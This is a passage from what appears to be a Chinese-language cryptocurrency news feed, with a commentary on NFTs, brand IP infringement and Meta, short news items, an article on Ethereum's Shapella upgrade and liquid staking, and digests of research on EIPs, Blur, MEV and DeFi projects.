林迪效应描述了这样一个观点：非易损品（如观念或品牌）的预期寿命与其存在的年龄的成正比。从这个角度来看，宗教在林迪效应方面排名最高。诸如 Bored Apes 和许多类似动物的 NFT 未能吸引更广泛的用户群体，因为仅有一小部分炫耀财富的科技精英能将那些昂贵的 NFT 关联起来，这点与奢侈品包不同，因为包的「价值」可以实时衡量。 故事中的另一个元素是，拥有无聊猿 NFT 的普通人可能不想向其社交圈子证明其 NFT 所有权，因为加密货币社交圈和线下空间（学校、约会或工作）的社交网络是不同的。加密圈经常因一些负面新闻出圈，因此并非所有人都愿意表明自己处在加密货币小众社群中。 在过去的几年里，NFT 正处于起步阶段。你处在小圈子之中，而且欺诈行为没有波及普通人。像 Meta 这样的大型平台可能使 NFT 骗子接触到你在 Facebook 上的联系人。所有的 Web2 平台都有一定比例的机器人和虚假身份，但验证用户相对简单：他们只需要提供现实生活中的证件。但当一个假的 NFT 与某人的钱包关联时，你该怎么办？当一个用户拥有的 NFT 中使用了第三方知识产权时会发生什么？ 美国的法律保护平台免于对用户内容承担责任。正因为如此，无论有人在 WhatsApp 聊天中发布什么样的内容，扎克伯格都不会被传唤。在很大程度上，品牌不太可能直接起诉平台，但假 NFT 可能被用来传播诈骗行为。那会是什么样子呢？我是从 bitsCrunch 上了解到这个情况的。如果你还记得的话，几个月前我在它们的早期发布阶段在时事通讯中曾提到这种情况。 他们开发的模型检测到 Coodles 的系列收藏品侵犯了麦当劳品牌 IP。你可能认为这没什么大不了，但请考虑一下，这个系列中有大约 434 个 NFT 与麦当劳 IP 相关。bitsCrunch 称，这些 NFT 总共产生了超过 50 万美元的交易额，而麦当劳能得到其中的多少份额呢？可能一点都没有，因为我们找不到任何将 Coodles 与麦当劳联系起来的证据。 这在表面上看起来可能没什么，但回到 Blur 出现之前，我们认为 NFT 商业模式会如何运作。当时的想法是，一个品牌可以发布一系列资产（作为 NFT），社区会交易这些资产。部分版税将回归品牌。从像 Meta 或 Twitter 这样的平台的角度来看，将出现两种新的挑战： 首先，如果品牌无法检测、审查并下架代表它们的盗版 NFT，那品牌将失去推广自营 NFT 的动力。想象一下，你在 Facebook 上购买了一款「假」的耐克运动鞋 NFT，并向你的朋友展示。一方面，品牌损失了资金；另一方面，用户感觉受到了欺诈。 相反，还有一个风险是作为概念的版税已经走向崩溃。在这种情况下，构建允许用户在平台上交易 NFT 的功能将变得毫无意义。通过关注支付通道或传统市场，Facebook 在每笔交易之中都可以分得一部分，现在 Facebook 正大规模推广此类行为。这种情况这并不是说 NFT 没有未来了，它们仍然存在，并且我们正在见证 NFT 从「高价凡勃仑商品（注：凡勃仑商品指定价越高，消费者对其需求越强）」向「低价消费品」的过渡。这种过渡结束之后 NFT 是什么样子呢？ NFT 必须像今天的通用媒体订阅一样普遍和易于购买。订阅 Netflix 时你不会多想，Spotify 也是如此。将来，NFT 可能会像活动门票一样嵌入到平台中；这并不是什么新鲜事。NFT 已经存在了一段时间，但尚未流行起来。然而，有两种力量可能使得 NFT 门票成为可能：名人对 NFT 门票的支持和社交媒体网络提供的安全购买渠道。 现在，假设一场音乐会背后没有汇聚一个复杂的参与者网络。然而，由于这些门票可以在用户之间出售（这种现象已经非常普遍）的情况下，将门票作为社交平台上 NFT 的理由变得更加明确。购买了特定门票的用户可以通过 NFT 与其他参加同一活动的人建立联系。事实上，相比于在社交媒体资料上展示一系列可验证为自己拥有的活动门票，有什么更好的方式能表达自己对某个艺术家的热爱吗？Ticketmaster 已经在尝试这种模式。 检测链上知识产权侵权的能力还处于起步阶段。bitsCrunch 团队向我展示了一个 Discord 机器人，这个机器人被用来唤起用户对 NFT 上的品牌标识的注意。他们的系统频繁地自动扫描 NFT，并对可能侵权的 NFT 作标记。虽然还处于初期阶段，但看到 NFT 相关工具从仅仅是链上分析演变为扫描 NFT 本身的内容的过程是很有趣的。 我和来自 Asset.money 的 Nameet Potnis 谈论了这整个情况。他补充说，没有一个单独的参与者能成功地将超过 500 万用户吸引到 NFT 平台。当然，Reddit 上有数百万钱包，但现在还无法验证这些钱包背后是否为真实用户，造成这种情况的原因是钱包是通过其他应用被连接使用的。在今天，你只能通过连接到类似 Metamask 的应用来验证你拥有一个钱包，因此平台也不得不连接钱包，以使自己能融入 Web3 的潮流之中。这让他们将面临审查问题，就像他们在推出 Libra 和 Diem 的时那样。 对于 Meta 的管理层来说，这些努力可能得不偿失。  ( 4 min )
    Coinbase出现ETH/ERC20代币发送延迟，官方正在解决
    PANews 4月14日消息，据Coinbase状态页面，Coinbase表示正在调查ETH/ERC20代币发送的延迟，资金是安全的，团队正在努力解决此问题。  ( 1 min )
    Solana Web3手机Saga将于5月8日公开发售，每台售价1000美元
    PANews 4月14日消息，据官网消息，Solana Web3手机Saga将于5月8日公开发售，预订设备现已发货。Saga可在美国、欧盟、英国、加拿大、瑞士、澳大利亚和新西兰发货。可用性会有所不同，但Saga Pass持有人将优先发货。 据悉，每台Saga售价为1000美元，配备512 GB存储空间，两个后置摄像头镜头，6.67英寸OLED显示屏和指纹解锁，并有仅上架加密应用程序的专门dApp以及存储加密用户私钥实现与手机其他数据分离的安全元件。 相关阅读：Solana Saga 抢先体验：价值 1000 美元的 Web3 手机值得入手吗？  ( 1 min )
    刺杀Cash App创始人Bob Lee的嫌疑人被捕，系与其相识的科技企业家
    PANews 4月14日消息，据CNBC报道，经旧金山地区检察官Brooke Jenkins证实，刺杀Cash App创始人Bob Lee的嫌疑人、科技企业家Nima Momeni已被捕。 官方回应称Nima Momeni认识Bob Lee，但不愿就作案动机置评。Nima Momeni将于周五被提审，检察官表示提出一项动议，要求其不得被保释。 此前消息，当地时间4月4日星期二凌晨，Bob Lee在旧金山因刺伤身亡。  ( 1 min )
    美CFTC主席：币安故意违反了CFTC的规定
    PANews 4月14日消息，据彭博社报道，美国商品期货交易委员会（CFTC）主席 Rostin Behnam周四在普林斯顿大学举办的一次活动中表示：“币安故意违反了CFTC的规定，如果有人打算在美国提供期货合约，则必须在CFTC注册并遵守法律”。Behnam还重申，以太坊和稳定币都是商品。 此前3月27日消息，美国CFTC将寻求在币安案件中对其实施永久性的交易和注册禁令；对此赵长鹏回应称，币安使用多种手段阻止美国客户，本人从未参与币安Launchpad和期货交易。  ( 1 min )
    为什么Shapella升级是构建加密原生货币系统的第一步？
    撰写：Jack Inabinet 编译：深潮 TechFlow 这几天我们反复听到 Shapella 升级的概念。 实际上它可以被分为执行层的 Shanghai（上海）升级，以及共识层的 Capella 升级。 以太坊迎来了历史性时刻，通过启用提款，ETH 持有者现在可以保留抵押品的流动性，并避免复杂的税收争议和潜在的监管难题。同时，升级也意味着以太坊朝建立加密原生货币系统迈出了巨大的一步。本文将探讨 Shapella 如何为加密货币市场带来更多机会，并促进去中心化的网络安全。 去年九月份，以太坊开发者实施了合并(Merge)方案，将原始的工作量证明（PoW）共识层替换为流动性质押信标链，将 ETH 发行量减少了 88％，能源消耗降低了 99.95％。 合并后，以太坊由质押者（Stakers）而不是原来的矿工来保障网络安全。 每个质押者在信标链上发布 32 ETH 的保证金来存储网络数据、处理交易并添加块，并获得 Ether 奖励以维护网络的安全。然而，这些质押者一直无法从信标链上提取已累积的共识层奖励或着提出他们最初抵押的 32 ETH 。而这种模式今天将会被改变。 随着 Shapella 释放了这么大量的 ETH， Twitter 上的加密话题充斥着对短期市场价格预测。然而，资金流动及其对价格的影响仅仅只是其中一部分的故事。 今天，我们来看看为什么你应该关心 Shapella 升级： 质押正在进行大规模的去风险化，互联网债券时代已经到来，加密货币将永远不会再是原来的样子了。 Solo staking 和 staking-as-a-service (SaaS) 使加密货币参与者能够在 ETH 上产生收益，但用户的抵押品仍然被锁定，无法出售或转移。 流动性质押衍生品（LSDs），包括 Lido 的 stETH 和 Coinbase 的 cbETH，旨在解决这种缺乏流动性的问题。目前 LSDs 总价值已经超过了 145 亿美元，并且让 ETH 持有者在保留抵押的 ETH 的流动性的同时获得收益。 对于许多以太坊用户而言，流动性质押衍生品已经成为事实上的流动性质押方法，LSDs 占所有 ETH 流动性质押总量的 42%。 尽管 LSDs 改善了流动性，但这些工具在流行中被误解为像稳定币一样与 ETH 保持 1:1 的锚定。但是，LSDs 本质上可以比基础的 ETH 抵押品更缺乏流动性。 这一缺陷在信用紧缩期间得到了充分展示。自 2022 年 5 月开始，三箭资本和 Celsius 的 stETH 头寸清算期间，stETH 在接下来的一个半月时间里价格偏离了 6％，为 LSD 持有人创造了信心危机。由于无法提款，这些持有人只能依靠承诺最终未来的可赎回性来维持锚定。 税务难题 流动性质押衍生品还给许多专业机构投资者带来了许多税务和监管难题。以 Lido 的 stETH 为例，这是最常用的流动性质押衍生品，占据了 ETH LSD 市场的 74％，它是一种重新调整基准（Rebase机制) 的代币，并且每次重新调整基准时都会为其持有人创建一个应税事件。对于关注税收的投资者来说，这不是一种可行的选择。 虽然投资者可能认为 ETH 是商品，但对于许多形式的流动性质押而言，这个结论不容易被同意。 许多加密货币交易所、去中心化协议和 SaaS 提供商汇集流动性质押回报，以为投资者提供稳定的收益。这赋予了它们类似于证券的性质，而将它们定性成证券，正是 SEC 在他们最近与 Kraken 达成的和解中极力想避免的。 进一步让监管面临混乱局面的是，像 Lido 和 RocketPool 这样的协议之前已经选择并继续激励他们 LSDs 上的流动性。可以认为这些激励措施进一步赋予了衍生品证券性质，因为维持锚定部分依赖于代币发行。 自信标链创立以来，SaaS 和独立流动性质押解决方案，是 ETH 持有者寻求保留抵押品流动性的可行选择。这只需要两个以太坊改进提案（EIP）和一次以太坊硬分叉即可实现。启用提款将改变旁观机构和那些态度强硬的觉得“如果我不掌控私钥，就不掌控资产”的用户所面临的游戏规则。 正如一家伦敦流动性质押公司的首席技术官所说，机构终于能够在保留控制的同时获得抵押品流动性，不再必须与税务人员争论。 现在，避免复杂的税收困扰和潜在的 SEC 监管动作——同时在协议层面上获得无风险收益并保留抵押的ETH的流动性——比以往任何时候都更容易。今天的升级不仅提供了LSD解决方案之外的流动性，还允许市场开始重新分配权益并削弱 Lido 对验证者集 31% 的巨大控制权。 Shapella 赋予了质押者力量，并是进一步促进网络安全去中心化的关键步骤。 人们长期以来一直将以太坊流动性质押与传统金融中的固定收益工具进行类比。 质押者提供 32 ETH 作为抵押品（本金），并获得奖励（利息）。这种关系不依赖于任何一方偿还贷款的能力，而是由以太坊未来的经济活动，也就是费用收入所支持。本质上，以太坊上的流动性质押是一种永久存在且没有违约风险的工具。 Shapella 的另一个好处是让以太坊变得更加市场化 在传统金融市场中，贷款利率通常被计算为超过无风险利率的点差（通常由美国国债收益率表示）。 无风险利率和借贷成本之间的差距旨在捕捉把钱借给除美国政府以外的借款人, 所带来的额外风险（特别是违约风险）。国债每天交易，收益率受供求力量影响，交汇于市场利率。遗憾的是，尽管具有几乎零的违约风险（类似于美国国债），ETH 流动性质押的收益率未能成为加密货币的无风险利率，因为它没有达到市场利率的水平。 网络支付给以太坊的收益率取决于2个重要因素：验证者数量和产生的费用。随着验证者数量的增加，费用分配给越来越大的验证者集合，降低了某些给定节点的预期收入，但同时也得到更高的 ETH 发行率的补贴。 目前，市场只能对 ETH 流动性质押机会的吸引力上升做出反应: 当 ETH 持有者看到流动性质押的收益率相对于其他收益来源变得更有吸引力时，更多的市场参与者愿意进行流动性质押。理论上，市场通过增加验证者数量来响应有吸引力的流动性质押奖励，从而消除临时的套利机会。 迄今为止，我们无法对流动性质押的相对吸引力下降做出反应，导致在区块需求有限或引人注目的投资替代方案出现时，收益率会人为降低。资本转移不是流动性质押的选择；在 Shapella 之后，这种动态发生了变化。质押者现在可以将他们的 32 ETH 从信标链提取出来寻找收益, 或选择在无风险利率不再足够吸引人时撤离。 由于 PoS 共识的限制，必要的提款和退出排队机制, 限制了从流动性质押中的快速流出。类似的机制存在于传统金融中，例如"熔断"出现时, 会在预定义的范围内停止资产交易。虽然不是完美的“市场利率”，但是通过 Shapella，以太坊已经迈出了成为互联网债券的最后一步。 “钱值多少？”是金融的基础问题，而无风险收益率是该系统的支柱。Shapella 将以太坊的流动性质押收益率转化为更接近市场无风险利率的东西。 如果 ETH 要成为一种货币，拥有类似于美国国债的原生无风险利率，作为贷款定价和金融估值的基石，将在促进采用方面有很大的帮助，特别是在吸引金融专业人员和机构投资者方面。 忘掉流量吧，在长期内，启用提款将为许多加密货币市场参与者提供一个主要的降低风险的手段，这些参与者认为 LSDs 根本不够用。 无论即时发生什么，今天都将成为加密货币历史上的关键时刻：自信标链推出以来，以太坊的 Shapella 升级代表着它朝建立加密原生货币系统的迈出了重要一步。  ( 3 min )

  • Open

    从即将通过的 EIP 提案窥见 NFT 的未来
    Chainfeeds 导读： 目前绝大多数 NFT 产业应用都是围绕着几种主流协议展开的。EIP 就像是一部以太坊编年史，记录了其诞生至今所有的发展脉络，同时也有着预见整个以太坊生态前进方向的能力。见微知著，一个 EIP 的改动可能蕴含着颠覆整个行业的巨大机会。R3PO 便把目光聚焦了在与 NFT 相关且处于 Last call 和 Final 阶段的 EIP 提案。 文章来源： https://medium.com/@R3PO_Official/从即将通过的eip提案窥见nft的未来-6c4f9410e8ba 文章作者： R3PO 观点： R3PO：1）EIP-4955 元数据标准扩展：该 EIP 建议规范 NFT 元数据（metadata）模式，为 EIP-721 和 EIP-1155 标准 NFT 的 JSON 模式中添加一个新字段命名空间（namespaces）；2）NFT 租赁使用扩展，从 EIP-4907 到 EIP-5006：EIP-4907 增加了用户信息（UserInfo）变量，包含用户（User）地址以及「出租到期时间（userExpires）」，当时间超过出租时间，租赁关系中止；而 EIP-5006 中基于 ERC-1155 的特殊数据结构增加了 Userrecord 以及 usableBalance 函数，可以便捷地批量管理租赁状态； 内容来源 R3PO：3）EIP-5007 给 NFT 赋予时间属性：该提案建议增加一个新属性，包含初始时间和到期时间（startTime、endTime），从而使 NFT 在链上的时间管理更简单高效，实现在链上自动启用和禁用 NFT；4）EIP-5496 NFT 多权益管理扩展：EIP-5496 定义了一个扩展 EIP-721 的接口，为 NFT 提供可共享给多人的权益，权益可以是链上或链下的。每个 NFT 可能包含许多权益，权益持有者可以将该权益转让给其他人。权益可以是不可共享的或可共享的，可共享的权益可以被克隆复制，提供者可以根据传播路径调整细节，也可以为每个权益设置过期时间； 内容来源 R3PO：5）EIP-5606 多元宇宙 NFT：EIP-5606 定义了一个接口，为数字资产（如可穿戴设备和游戏中物品）创建一个 Multiverse NFT（多元宇宙 NFT）标准，同时可以索引这种资产在 metaverses，Gamefi 或 NFT 市场等平台上的委托的 NFT。该标准还允许在多元宇宙 NFT 中对这些委托 NFT 进行「捆绑」和「解绑」，可以单独或作为捆绑物进行交易；6）EIP-6150 层级化 NFT 标准：EIP-6150 提出了类似文件系统的多层分层 NFT 结构，在 EIP-721 及合约基础上添加了获取父 NFT 或子 NFT 以及 NFT 叶节点或根节点的新接口，且保持它们之间的层次关系。 内容来源  ( 3 min )
    「福布斯」对话 Blur：10 人团队如何改变 NFT 市场格局
    Chainfeeds 导读： NFT 市场 Blur 在短短六个月内取代 OpenSea 成为市场领导者，福布斯记者 Maria Gracia Santillana Linares 撰文记录 Blur 的发家史，分析其迅速崛起的原因，并对其所面临的与艺术家的紧张关系、版税削减以及 SEC 对其代币的潜在监管等挑战进行阐述。中文版由 BlockBeats Kxp 编译发布。 文章来源： https://www.theblockbeats.info/news/36491 文章作者： Maria Gracia Santillana 观点： Maria Gracia Santillana：Blur 迅速崛起的原因有很多。首先，不同于 OpenSea 一直迎合零售 NFT 买家和艺术爱好者，Blur 借鉴了 Robinhood 的增长策略，瞄准了活跃的 NFT 交易者，通过筹集资金支持其业务和增长，从而在平台费用上压倒竞争对手，还通过自己铸造的代币奖励客户。Blur 的时机非常巧妙。对于用户友好的 OpenSea 来说，零售客户和收藏家对 NFT 的休闲购买基本上已经消失。但以盈利为目的的 NFT 交易者仍然在每天大量交易数字资产。 内容来源 Maria Gracia Santillana：自去年推出以来，Blur 在不到六个月的时间里就取代了 OpenSea 成为市场领导者，但如果希望保持领先地位，它还面临许多挑战。首先，它不收取任何费用，主要依靠 1100 万美元的风投资金，后续需要采取收费或找到其他收入来源来维持开支。8 月，Blur 代币持有者将就启用 2.5% 平台费用的提案进行投票，但如果启用这些费用，它可能很快失去大量用户； 内容来源 Maria Gracia Santillana：此外，因为削减了创作者版税，Blur 与 NFT 艺术家之间也存在不和；还有监管问题：SEC 一直在加大对加密公司的执法力度，并越来越将 NFT 视为潜在的证券。Eversheds Sutherland 证券执法和诉讼实践合伙人 Adam Pollet 表示，即使 Token 仅用作治理 Token 以改进和资助平台的发展，Blur 仍可能面临监管行动。 内容来源
    【英文长推】Liquid Staked ATOM：Cosmos DeFi 的首要抵押代币
    Chainfeeds 导读： Cosmos DeFi 在过去六个月里蓬勃发展，Cosmos 生态系统里出现了多个 DEX、货币市场和稳定币链，而 ATOM 已经成为 Cosmos DeFi 的首选质押代币，推动了该代币的需求上升。Cosmos 生态研究员 NIC0 发推解析 Cosmos 生态的 LSM（Liquid Staking Module）有何特点，以及如何促进 Cosmos DeFi 和 Cosmos Hub 的进一步增长。 文章来源： https://twitter.com/N1C0_B_/status/1646347492479602690 文章作者： NIC0 观点： NIC0：流动性质押，特别是 Stride 的 stATOM，对于 Cosmos DeFi 的发展和扩展至关重要。如果没有它，使用 ATOM 作为质押代币在经济上将是不可行的。通过采用流动性质押增加对 ATOM 的需求，并实施其他安全有效地促进其采用的功能，Cosmos Hub 可以进一步加速增长。【原文为英文】 内容来源 NIC0：LSM（Liquid Staking Module）可以包含安全功能，如将流动性质押 ATOM 的比例上限限制为总质押供应量的 25%，以防止不良行为者控制超过 1/3 的 ATOM 总质押供应量并停止区块生产。接受流动性质押提供者委托的验证者必须自行绑定特定数量的 ATOM（验证者保证金），这增加了另一层安全性，激励了良好行为，并使验证者能够与流动性质押提供者协商关系。【原文为英文】 内容来源 NIC0：LSM 允许用户即时解除质押的 ATOM，无需等待 21 天的解绑期。这消除了转换成本，使用户可以更容易地进行流动性质押，从而在 Cosmos Hub 和流动性质押提供商之间建立更牢固的关系。用户可以将其质押的 ATOM 代币化并转换为 LSM 股份，这些股份可以转让并赎回底层质押代币，这使得用户可以向流动性质押供应商平稳过渡，增加了 ATOM 流动性质押的采用，并推动了 Cosmos DeFi 的增长。【原文为英文】 内容来源  ( 2 min )
    pSTAKE 项目速览：币安支持的 LSD 腰部项目
    Chainfeeds 导读： 今年的震荡市场行情下，寻找 alpha 机会是战略之一。「链上债券市场」叙事之下，首当其冲的就是 LSD 项目。pSTAKE 在业务上虽然不是以 ETH 为核心，但目前基础资产包含 ETH、BNB 和 ATOM，都有边际改善的可能性。可以纳入跟踪的标的池。Mint Ventures 研究员 Colin Li 发布 pSTAKE Finance 项目研究报告，从项目基本情况到具体业务再到估值水平，对其进行了系统梳理。 文章来源： https://research.mintventures.fund/2023/04/14/zh-a-comprehensive-analysis-on-pstake-finance-a-liquidity-staking-derivative-backed-by-binance/ 文章作者： ColinLy 观点： ColinLy：主要风险：1）公链发展风险：现在 pSTAKE Finance 押注 ATOM 和 BNB 的流动性质押业务，这两条链质押率偏高，未来 staking ratio 提高的增长空间有限，需要拓展其他有潜力、质押率不高的公链；2）合约风险：此前 Ankr 的合约风险问题影响到了 BNB 质押赛道。如果 pSTAKE Finance 提供服务的公链上再有类似事件发生，很可能会遭受到冲击；3）行业内价格战：随着 PoS 公链质押率持续提升，行业内为争夺市场空间可能会爆发价格战：降低 staking 和 unstake 费用，这会让整个流动性质押赛道的价值降低。 内容来源 ColinLy：从业务发展战略和当前布局来看，pSTAKE Finance 目前在 BNB 流动性质押赛道有一定竞争力，下一步的考验是如何拓展 stkATOM 的应用场景，以及如何在 ATOM 较高质押率的情况下获客。不论是项目方自身努力拓客，还是通过复刻币安投资的成功案例，stkATOM 的发展状况是考验团队真实运营能力的试金石。 内容来源 ColinLy：在估值上，当前或许不是买入 PSTAKE 较佳的时间窗口，投资者需要等待价格下跌或基本面迅速增长之后再进行决策。如果基于 ATOM 的流动性质押业务出现转好的迹象，PSTAKE 可能将进入投资射程范围之内。 内容来源  ( 13 min )
    【英文】穿越黑暗森林：揭开 MEV 市场格局的神秘面纱
    Chainfeeds 导读： 加密研究员 Ali 在研究了约 100 个 MEV 相关项目之后，绘制出 MEV 的市场格局，并将其分为三个总类别：MEV 基础设施、MEV 解决方案和 MEV 应用，在此基础上又将每个类别进一步划分为子类别并进行详细描述。 文章来源： https://mirror.xyz/0xfE32bbB2DdB1eA42FD30f210C1FCe8EE52ee0D11/onsiK5Fr0UH4giAIUQRXTMkooBVTq79JXxqWgkDcKxg 文章作者： Ali Sheikh 观点： Ali Sheikh：MEV 基础设施由「验证者和质押」参与者锚定。MPSVs（MEV 利润共享验证器）的出现改变了市场，许多验证器在提供传统质押收益的同时还提供 MEV 奖励。这个子类别的核心是区块构建者和中继参与者。区块构建者类别中，有 提供主权 MEV 基础设施的 Skip Protocol（Cosmos），还有 MPSV 项目 Jito，拥有自己的流动性质押衍生品 jSOL。我们预计，区块链生态将继续发展其独特的区块构建者供应商。在规模经济不断增加的情况下，品类领导者可能会出现。而对跨链 MEV 解决方案的需求可能会导致与现有的区块构建者合作。【原文为英文】 内容来源 Ali Sheikh：MEV 解决方案包括一系列工具和协议，旨在帮助整个生态系统提取、防止或民主化 MEV。其中最引人注目的是 MEV 跨链协调，由 Skip Protocol、Suave 和 Anoma 等领头。桥接、可组合性和模块化的日益盛行为跨链和链间 MEV 解决方案铺平了道路。共享排序器部分侧重于 L2 扩展解决方案，通过促进公平一致的交易排序减轻 MEV 相关风险，从而限制抢跑和机器人套利。其他新兴领域包括与 NFT 相关的 MEV 解决方案，如 Pikapool，旨在创建 NFT 特定内存池并减少 MEV 的任何负面外部性。订单流拍卖部分旨在将用户通过其订单创造的价值返还给用户。最后，我们认为游戏 MEV 工具市场将开始发展。【原文为英文】 内容来源 Ali Sheikh：应用层包括跨 MEV 生态系统的终端用户产品。许多 DEXs 和聚合器强调预防 MEV，其他市场和交易平台也经常遇到 MEV 套利和清算的问题，这可以部分说明 MEV 是如何（间接或直接）渗透到应用层的。另一方面，还有关于区块空间和订单流支付的利基特定市场，如 Alkimiya 和 DFLOW。我们预测在这一层中会出现两个重要类别：提供 MEV 保护的 NFT 和游戏市场以及 MEV 钱包。【原文为英文】 内容来源  ( 10 min )
    Amber Group 或考虑出售日本子公司，并计划申请香港数字资产牌照
    Amber Group 或考虑出售日本子公司，并计划申请香港数字资产牌照 据彭博社报道，加密金融服务提供商 Amber Group 正在权衡其日本子公司的抉择，包括潜在的出售，并计划在香港转向数字资产中心后申请香港牌照。 Amber Group 管理合伙人 Annabelle Huang 表示，对日本业务的评估是其战略决策的一部分，该决策更多地关注机构业务而非零售业务。 内容来源  ( 2 min )
    Skyland Ventures 旗下 Web3 基金完成约 3800 万美元募资，SBI 集团参投
    Skyland Ventures 旗下 Web3 基金完成约 3800 万美元募资，SBI 集团参投 据 Coinpost 报道，日本风投机构 Skyland Ventures 宣布其名为「Skyland Ventures No.4 Fund」的 Web3 基金完成总计 50 亿日元（约合 3800 万美元）的募资，SBI 集团作为新投资者参与了此次募资。 据悉，总部位于东京的 Skyland Ventures 已投资约 150 家公司。2022 年之后，Skyland Ventures 开始重点投资 Web3 初创公司。SV4 基金成立于 2022 年 4 月，作为种子风投基金主要投资 Web2、Web3 初创公司，尤其积极投资生成式 AI 领域和元宇宙等数字经济领域。 内容来源  ( 7 min )
    以太坊 Layer 2 总锁仓量首次突破 100 亿美元
    以太坊 Layer 2 总锁仓量首次突破 100 亿美元 据 L2BEAT 数据显示，以太坊 Layer 2 总锁仓量（TVL）首次突破 100 亿美元，当前约 102.9 亿美元，创下历史新高。其中 Arbitrum TVL 约 68.3 亿美元，Optimism TVL 约 21.3 亿美元。 内容来源  ( 1 min )
    zkRollup 项目 INTMAX 完成 500 万美元种子轮融资，HashKey 等参投
    zkRollup 项目 INTMAX 完成 500 万美元种子轮融资，HashKey 等参投 总部位于瑞士的 zkRollup 项目 INTMAX 完成 500 万美元种子轮融资，HashKey、Scroll、Mask Network 、Alchemy Ventures、以太坊基金会研究员 Justin Drake、Gitcoin 创始人 Scott Moore 及 Coinbase 前首席技术官 Balaji Srinivasan 等参投。根据介绍，INTMAX 的无状态 zkRollup 能够将可扩展性和定制隐私结合。 内容来源 观点： Justin Drake（以太坊基金会）：INTMAX 结合了 Rollup 和 Plasma 的想法，也是我知道的唯一一个探索这种结合的团队。【原文为英文】 内容来源 Scott Moore：除了扩大可能的扩展解决方案，INTMAX 也增加了 L2 生态系统的多样性。【原文为英文】 内容来源  ( 7 min )
    【英文长推】解读 NFT 生态系统 TreasureDAO 发展支柱：靠什么为 Web3 游戏带来互操作性？
    Chainfeeds 导读： 当游戏和玩家达成互动和合作时，就会出现协同效应，从而实现部分之和大于整体的发展优势。而 NFT 生态系统 TreasureDAO 正是一个经典案例。加密研究员 Shades of Green 撰文解读 TreasureDAO 五大发展支柱，并表示 TerasureDAO 可能会带来 Web3 游戏互操作性的契机。 文章来源： https://twitter.com/jetherean27/status/1646619304354541568 文章作者： Shades of Green 观点： Shades of Green：驱动其去中心化愿景的五个关键支柱：1）TreasureDAO：由 MAGIC 持有者管理，允许用户对 Treasure 未来发展、激励分配和新游戏引入进行投票；2）Cartridges：引入 Treasure 生态系统的游戏被称为「Cartridge」，目前大约有超 30 个 Cartridge 在 TreasureDAO 游戏化 NFT 市场 Trove 进行展示；【原文为英文】 内容来源 Shades of Green：3）MAGIC：MAGIC 已经成为连接元宇宙、用户和资产的统一因素，第三方团队可以将 MAGIC 整合至自己的游戏代币经济学中，且随着用户对 Trove 及 MagicSwap 的参与，MAGIC 可以通过平台费用回流至 DAO 财库；4）Trove 、MagicSwap 及玩家标签 TreasureTag 等 Treasure 工具项目的开发扩展了生态系统独特性；5） Bridgeworld 游戏类似于游戏化的 DeFi 协议，利用 MAGIC、Treasure NFT 及 Legions 增加代币资产价值。【原文为英文】 内容来源 Shades of Green：此外，Treasure 是 ARB 空投最大接收者之一，能够帮助加速项目发展及提高 MAGIC 持有者价值。Treasure 还给予开发者资金支持，并且通过支持新游戏或重新分配游戏资源等方式促进高质量项目发展并吸引用户兴趣。毫无疑问，Treasure 是为 Web3 游戏开发者创建互操作性的一个优秀案例。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解读由区块空间支持的稳定币：Dinero
    Chainfeeds 导读： 新的稳定币协议 Dinrero 由区块空间支持，加密 KOL Odin 撰推解读「区块空间支持」概念及价值，以及如何铸造 / 兑换 $DINERO。 文章来源： https://twitter.com/0xOdin_/status/1646382923782975489 文章作者： Odin 观点： Odin：Dinero 协议包括 3 种产品：1）DINERO，稳定币；2）Pirex ETH，流动性质押衍生品；3）Redacted Relayer。其中，$DINERO 是由 $ETH 支持的 CDP 稳定币，为了解决可扩展性问题，Dinero 还将开发 Peg Stability Module (PSM)，类似于 MakerDAO，用户可以存入其他稳定币，以 1:1 的比例获 $DINERO。其使用 Chainlink 作为主要的预言机，其金库清算将通过荷兰拍方式进行。$DINERO 将被 redacted cartel （Curve War 中最活跃的协议之一）DAO 的治理权大量控制。【原文为英文】 内容来源 Odin：第二个产品是 PirexETH ，Dinero 利用存入 Dinero 协议的 $ETH 来抵押和构建 Dinero 验证器。存入 Dinero 1 ETH，用户将获得 1 pxETH。由于 Shapella 升级，$ETH 可以随时取消质押，因此用户可以在平仓时赎回 ETH 抵押品。最后为 Redacted Relayer，一个公共且无需许可的 RPC，它可以验证 Dinero 协议中的交易并保护 Dinero 用户免受 MEV 的影响，并完善了 Dinero 协议的产品套件，使他们能够利用以太坊区块空间。【原文为英文】 内容来源 Odin：区块空间支持意味着什么？$DINERO 实际上不是由区块空间支持的，$DINERO 是由 $ETH 支持的。相反，Dinero 协议和以太坊区块空间之间的联系是 DINERO 产品套件，它允许在以太坊区块空间上资本化附加价值，并为 $DINERO 持有者带来许多用例。这是 Defi 领域中与区块空间最相关的稳定币。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Delphi Digital Datahub 上线，从以太坊仪表盘开始
    Chainfeeds 导读： Delphi Digital 宣布推出 Datahub，创建图表、部件及数据可视化，无需一行代码。其以太坊仪表盘已上线并免费开放给用户，包括以太坊质押存款、提供商和提款数据。其官方撰推详解 Datahub 的功能。 文章来源： https://twitter.com/Delphi_Digital/status/1646556893735788544 文章作者： Delphi Digital 观点： Delphi Digital：Delphi 精心打造的仪表板释放了数据驱动决策的力量。我们精选的仪表板跟踪着名的 DeFi 蓝筹股的最重要指标，每个月都会发布新协议。我们还推出了一个仪表板构建器，无需一行代码即可创建图表、可视化和自定义仪表板。探索我们呈指数级扩展的数据集并上传 CSV，以将用户的数据整齐地组织到一个时尚直观的界面中。【原文为英文】 内容来源 Delphi Digital：通过用户友好的拖放界面创建个性化的可视化效果，让用户独特的投资策略栩栩如生。从各种图表类型和基于文本的小部件中进行选择，以创建适合用户特定需求的可视化表示。我们的分析与我们的研究相结合，将为用户提供应对重要市场事件所需的一切。现在，会员可以访问自定义和精选仪表板，以补充我们的机构级研究。【原文为英文】 内容来源  ( 2 min )
    头等仓研报：全面解析全链互操作性协议 LayerZero 项目进展、技术安全性及生态版图
